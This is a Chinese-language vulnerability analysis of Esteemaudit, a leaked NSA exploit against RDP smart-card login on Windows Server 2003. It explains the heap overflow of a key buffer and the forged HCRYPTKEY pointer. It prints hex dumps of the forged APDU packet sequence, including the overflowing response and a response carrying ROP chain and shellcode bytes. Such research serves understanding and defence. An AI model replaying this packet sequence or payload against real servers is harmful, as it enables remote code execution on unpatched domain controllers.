资讯
主页 > 技术文章 > 正文

NSA泄漏工具之Esteemaudit 漏洞原理分析

发表时间:2017-05-09

1、漏洞环境

Target: windows server 2003 x86, 域控环境

2、漏洞简介

2.1 漏洞概述

windows 2000操作系统的一项新特性是支持smart cardsmart card readers。当smart card用于客户端认证、登录、代码签名时,私钥的操作都是在smart card而不是主机中完成的,这就为域中的重要系统提供了较高的安全保障。密码和私钥管理是由cryptographic service provider(CSP) modules完成的。CSP可以由硬件实现,或者软件实现,也可以由二者结合。 windows server 2003默认支持CSP如下:


windows server 2003在处理来自Gemplus GemSAFE Card的远程登录过程中存在一个越界写漏洞和一个逻辑不正确漏洞,利用代码模拟出一个Gemplus GemSAFE card硬件设备来与服务器进行远程桌面通信,通信协议则采用的是开源的RDP。通过伪造一系列smart card登录认证所需要的数据包来触发漏洞并最终实现远程代码执行。

3、Smart card protocol

3.1 Smart card communication


主机通过发送command给读卡器操作smart card,读卡器将读到的数据或其他信息通过response 包返回给主机。在该漏洞的利用中,利用代码伪造了一个Gemplus GemSAFE card的硬件设备,同时模拟出用该设备登录远程域服务器,与远程与服务器建立连接后,处理由域服务器发来的command请求,构造特定的response数据包触发漏洞和完成利用。

3.2 APDU protocol

APDUApplication Protocol Data Unit),分为两种,一种是Command APDU,用于控制读卡器对smart card进行读写或reset,一种是Response APDU,返回读写到的数据和状态.

3.2.1 Command APDU


CLA = Class of Instruction

    Category, SM, Channel

INS  =Instruction 

P1, P2 = Parameter 1 and 2

Lc = Length of the Command data

Le = Maximum Length of the Response data expected 

Le字段通常占一个字节,范围为1~256,其中0x00表示256,扩展的Le占两个字节,范围为1~65536,其中0x0000表示65536

3.2.2 Response APDU


SW1,SW2 = Status Word 1 and 2

对每一个Command APDUsmart card都会返回一个Response APDUResponse APDU的最后两个字是状态字SW1SW2,表明此次操作是否成功或错误码,接收方在收到该Response APDU时会验证SW1-2的值是否有效。Response APDUDATA部分的长度不能超过Command APDU中指定的Le。下面显示的是部分状态字对应的含义。


4、漏洞原理

4.1 越界写漏洞代码


ProvCont是一个位于堆上的数组,数组中的元素类型是内部结构obj_0xB8Smart card与服务器建立连接后,服务器会为该链接创建一个obj_0xB8的结构用来保存该连接的相关信息。qmemcpy将接受到的key拷贝到obj_0xB8m_0x18_key数组中,m_0x18_key的大小为固定的0x80字节,由于没有校验接受到的key的长度,导致可以越界修改obj_0xB8m_0x18_key后的其他数据。Obj_0xB8的结构如下:

struct _obj_0xB8{

    int m_0x00;

    HANDLE m_0x04_handle_of_CardName;

    int m_0x08,  m_0x0C, m_0x10, m_0x14;

    char m_0x18_key[0x80];

    int m_0x98;

    HCRYPTKEY m_0x9C_HCRYPTKEY;

    HCRYPTKEY m_0xA0_HCRYPTKEY;

    int m_0xA4, m_0xA8, m_0xAC, m_0xB0, m_0xB4;

}

HCRYPTKEY指向的是一个包含有多个函数地址的结构体,该结构体内容如下:

typedef struct _CRYPTKEY{

    int (*p_fun_0x00_CPGenKey)();

    int (*p_fun_0x04_CPDeriveKey)();

    int (*p_fun_0x08_CPDestroyKey)();

    int (*p_fun_0x0C_CPSetKeyParam)();

    int (*p_fun_0x10_CPGetKeyParam)();

    int (*p_fun_0x14_CPExportKey)();

    int (*p_fun_0x18_CPImportKey)();

    int (*p_fun_0x1C_CPEncrypt)();

    int (*p_fun_0x20_CPDecrypt)();

    int (*p_fun_0x24_CPDuplicateKey)();

    CRYPTPROV m_0x28_CRYPTPROV;

    int m_0x2C;

    int m_0x30_status;

    int m_0x34_index;

}CRYPTKEY, HCRYPTKEY;

漏洞利用代码会越界覆盖_obj_0xB8中的m_0xA0_HCRYPTKEY,将m_0xA0_HCRYPTKEY设置为gpkcsp.dll中存放Response APDU数据包的地址,而该地址的内容可以由利用程序控制。

4.1.2 逻辑校验不严格

在释放HCRYPTKEY hKey时,代码未对hKey的合法性做严格的检查。只检查hKey偏移0x30的值是0x22222222hKey中指向CRYPTPROV对象的偏移0x74的值是0x11111111就认为hKey为一个有效的对象。



4.2 漏洞利用流程

4.2.1 触发越界写漏洞

在触发越界写之前,利用会伪造一系列Response APDU相应服务器的信息请求,这些信息包括Smart card的芯片信息,如data unit size, SN(Serial Number)等。具体的APDU内容如下:

(1) Select MFMaster File

'send buffer'

080192d8  00 a4 00 0c 02 3f 00                             .....?.

'recev bufff'

080190d8  90 00                                            ..

(2) Get chip inf, data unit size

'send buffer'

080192d8  80 c0 02 a4 0d                                   .....    

'recev bufff'

080190d8  00 00 00 00 00 00 00 00-00 00 00 40 00 90 00     ...........@...

(3) Get chip SN

'send buffer'

080192d8  80 c0 02 a0 08                                   .....   

'recev bufff'

080190d8  39 39 39 39 39 39 39 39-90 00                    99999999..

(4) Select MFMaster File

'send buffer'

080192d8  00 a4 00 0c 02 3f 00                             .....?. 

'recev bufff'

080190d8  90 00 

Select Security Domain阶段触发越界写。这一阶段的APDU如下:

(5) Select Security Domain 

'send buffer'

080192d8  00 a4 04 00 0b a0 00 00-00 18 0f 00 01 63 00 01  .............c.. 

'recev bufff'

080190d8  61 ff   

(6) Get Response

'send buffer'

080192d8  00 c0 00 00 ff                                   .....

'recev bufff'

080190d8  05 82 23 35 e9 35 28 35-98 98 47 20 7b 7e 66 c7  ..#5.5(5..G {~f.

080190e8  23 b2 35 50 f7 fd d8 63-3f 33 49 20 fb c8 4c 61  #.5P...c?3I ..La

080190f8  a0 c2 30 9a 34 78 30 d8-dd 0a af 22 67 f1 29 d7  ..0.4x0...."g.).

08019108  c9 96 0c 35 29 53 52 b4-7b cc 19 52 2a 03 0c 86  ...5)SR.{..R*...

08019118  ea 0d d8 fc 2a db 7f b9-33 ef cb e4 88 76 af c2  ....*...3....v..

08019128  75 9d d8 28 75 9c 37 f2-55 51 d3 bb c1 d3 a0 70  u..(u.7.UQ.....p

08019138  1d f4 a9 ed 52 06 59 4b-80 d9 24 08 2f 56 56 ae  ....R.YK..$./VV.

08019148  f7 9a 5b 1e 35 06 41 36-c7 17 b7 e6 66 88 5a 6a  ..[.5.A6....f.Zj

08019158  9b 8f 99 c8 db ab eb 4a-cf e2 ab fe 55 dc 90 01  .......J....U...

08019168  08 00 90 00 00 c4 10 e0-f0 fc 68 23 66 79 75 04  ..........h#fyu.

08019178  f0 7f 09 b1 9e 83 48 b9-54 ae b9 f8 9d 7f 04 88  ......H.T.......

08019188  7c 74                                    ..               

在服务器发送Select Security Domain的请求时,smart card回复给服务器的状态字SW1-261 FFFF表明还有最多FF个字节数据待传送。而接下来smart card传送给服务器的实际数据长度则是0xB2,前7个字节的数据是状态和flag位,从第8字节开始的数据则是key的实际内容。而服务器会将key保存到obj_0xB8m_0x18_key数组,由于key的实际长度为0xb2-7 = 0xAB,大于0x80而产生越界写。


0xB2字节的数据则是Esteemaudit随机构造出来的,只是偏移0x8D存放的是gpkcsp.dll.data段里的地址0x80190DC,从0x80190D8开始的一段长度为0x200字节的缓冲区是用来临时存放从smart card接受到的response APDU的数据包。

Esteemaudit.exe构造0xB2 response APDU


其中*a1+0xB0)的值是从Esteemaudit.xmlGlobalBufAddr获得的。


越界写之后obj_0xB8的内容如下,红色框出来的则是长度0x80key,而箭头指向的则是越界写构造的一个HCRYPTKEY


4.2.2 准备ROP链和shellcode

 // 省略部分APDU                               ..           

(10)  READ BINARY

'send buffer'

080192d8  00 b0 00 00 c8                                   .....

'recev bufff'

080190d8  fb 31 ca 5b 7a 1e 01 08-8e 11 01 08 85 5e 00 08  .1.[z........^..

080190e8  dd be 00 08 11 11 11 11-c9 1c 3c 00 7b a3 11 76  ..........<.{..v

080190f8  00 00 00 00 1d f5 ca 26-ef 1f 01 08 78 90 01 08  .......&....x...

08019108  10 9d fe 16 22 22 22 22-00 00 00 00 d3 8c b4 dd  ....""""........

08019118  00 40 00 00 cc 28 01 08-8f 00 00 00 00 03 fe 7f  .@...(..........

08019128  74 50 01 08 48 91 01 08-18 91 01 08 ff ff ff ff  tP..H...........

08019138  30 91 01 08 18 91 01 08-40 00 00 00 30 91 01 08  0.......@...0...

08019148  eb fe 64 8b 00 2d 00 06-00 00 89 c4 89 c6 e8 00  ..d..-..........

08019158  00 00 00 90 5d 8b 85 d5-00 00 00 89 46 04 8b 85  ....].......F...

08019168  d9 00 00 00 89 46 0c 31-c0 89 46 10 89 46 14 8b  .....F.1..F..F..

08019178  85 dd 00 00 00 8b 00 8b-80 bc 00 00 00 89 46 18  ..............F.

08019188  8b 85 e1 00 00 00 8b 00-89 46 1c 8b 85 e5 00 00  .........F......

08019198  00 8b 00 89 46 20 8b 46-0c 89 46 28 31 c0 89 46  ....F .F..F(1..F

080191a8  2c e8 b5 00 00 00 85 c0-75 66 8b 46 2c 89 46 08  ,.......uf.F,.F.

080191b8  8b 46 0c 2b 46 10 50 89-e0 50 8b 46 08 03 46 10  .F.+F.P..P.F..F.

080191c8  50 31 c0 50 ff 76 14 ff-76 04 ff 76 20 ff 76 18  P1.P.v..v..v .v.

080191d8  ff 56 1c 59 89 46 14 8b-46 10 01 c8 89 46 10 8b  .V.Y.F..F....F..

080191e8  46 08 89 46 24 8b 46 10-3b 85 d9 00 00 00 7c c0  F..F$.F.;.....|.

080191f8  31 c0 89 46 10 8b 4e 24-89 c8 89 01 51 ff 71 04  1..F..N$....Q.q.

08019208  89 c8 83 c0 14 50 ff d0-31 c0 eb 03 31 c0 48 50  .....P..1...1.HP

08019218  8b 46 2c 85 c0 74 0e 8b-58 10 e8 58 00 00 00 85  .F,..t..X..X....

08019228  db 74 02 ff d3 31 e4 c3-d8 92 01 08 f2 62 00 00  .t...1.......b..

08019238  d8 6d 17 08 9c 11 00 08-cc 11 00 08 b8 12 00 00  .m..............

08019248  00 8d 54 24 04 cd 2e c2-18 00 c2 18 00 b8 57 00  ..T$..........W.

08019258  00 00 8d 54 24 04 cd 2e-c2 10 00 6a 40 68 00 30  ...T$......j@h.0

08019268  00 00 8d 46 28 50 31 c0-50 8d 46 2c 50 31 c0 48  ...F(P1.P.F,P1.H

08019278  50 e8 c6 ff ff ff c3 68-00 80 00 00 8d 46 28 50  P......h.....F(P

08019288  8d 46 2c 50 31 c0 48 50-e8 c0 ff ff ff c3 b9 50  .F,P1.HP.......P     

(11) Select MF 

'send buffer'

080192d8  00 a4 00 0c 02 3f 00                             .....?.

'recev bufff'

080190d8   90 00                                        ..  ..

在第10个通信过程中,smart card传送给服务器0x1C0个字节的response APDU,其中包含了ROP链和shellcode

4.2.3 触发异常

服务器在接受到第10response APDU时,由于在Command APDULe(期望response APDU的最大长度)的值为0xC8,服务器会检查response APDU0xC8出的SW1-2是否是发送成功的状态字0x9000smart card 故意将SW1-2设置为非法的状态字触发异常。检测到异常后,服务器会关闭与Smart card的连接,然后释放创建的obj_0xB8结构。



ReleaseProvider( )则会调用CryptDestoryKey( )释放obj_0xB8中的HCRYPTKEY结构。此时obj_0xB8中偏移0xA0HCRYPTKEY指针指向0x8019DC的则是已经存放了ROP链和shellcode的内存。


CryptDestoryKey中简单检查0x8019DC的内容后,就调用其中保存的函数指针p_fun_0x08_CPDestroyKey


下面就是切换esprop链,后面的部分就跟其他漏洞利用类似,不做详细分析。


资讯排行